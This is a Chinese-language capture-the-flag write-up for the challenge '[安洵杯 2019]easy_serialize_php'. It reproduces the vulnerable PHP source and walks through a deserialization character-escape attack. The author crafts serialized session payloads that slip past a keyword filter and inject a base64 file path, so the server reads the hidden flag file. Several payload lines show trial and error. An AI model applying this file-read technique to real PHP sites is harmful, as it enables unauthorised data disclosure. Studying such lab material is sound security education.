[安洵杯 2019]easy

安洵杯 2019]easy"/>

[安洵杯 2019]easy

[安洵杯 2019]easy_serialize_php

代码审计

<?php$function = @$_GET['f'];function filter($img){$filter_arr = array('php','flag','php5','php4','fl1g');$filter = '/'.implode('|',$filter_arr).'/i';return preg_replace($filter,'',$img);
}if($_SESSION){unset($_SESSION);
}$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;extract($_POST);if(!$function){echo '<a href="index.php?f=highlight_file">source_code</a>';
}if(!$_GET['img_path']){$_SESSION['img'] = base64_encode('guest_img.png');
}else{$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}$serialize_info = filter(serialize($_SESSION));if($function == 'highlight_file'){highlight_file('index.php');
}else if($function == 'phpinfo'){eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){$userinfo = unserialize($serialize_info);echo file_get_contents(base64_decode($userinfo['img']));
}

?f=phpinfo

auto_append_file   d0g3_f1ag.php

php反序列化字符逃逸

这个太绝了、太妙了吧！！自己动手试一下：

$_SESSION["flaggg"]

由于extract的作用，POST的数据会覆盖原来的session

$_SESSION["aaaaa"]="s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";
$_SESSION["img"]=base64_encode('guest_img.png')="Z3Vlc3RfaW1nLnBuZw==";

手动序列化(这个php没法自动序列化，有语法错误)

a:1:{s:5:"flagflag";s:39:";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}"}

$_SESSION["phpflag"]="";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";
$_SESSION["img"]="Z3Vlc3RfaW1nLnBuZw==";

a:1:{s:8:"phpflag";s:46:"";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

a:1:{s:8:"";s:46:"";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}s:3:"img";

$_SESSION["phpflag"]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
$_SESSION["img"]="Z3Vlc3RfaW1nLnBuZw==";

a:1:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";}
a:1:{s:8:"";s:46:"";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}s:3:"img";

/d0g3_fllllllag
L2QwZzNfZmxsbGxsbGFn

_SESSION["phpflag"]=;s:1:"1";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

字符串长度在线计算：

php在线执行：

base64加解密:/

注：

SESSION不要写错啦！因为这个调的怀疑人生

页面没反应也要看源码！因为这个老师被坑，出答案了都不知

flag最后所在的文件是 /d0g3_fllllllag 不要在加.php了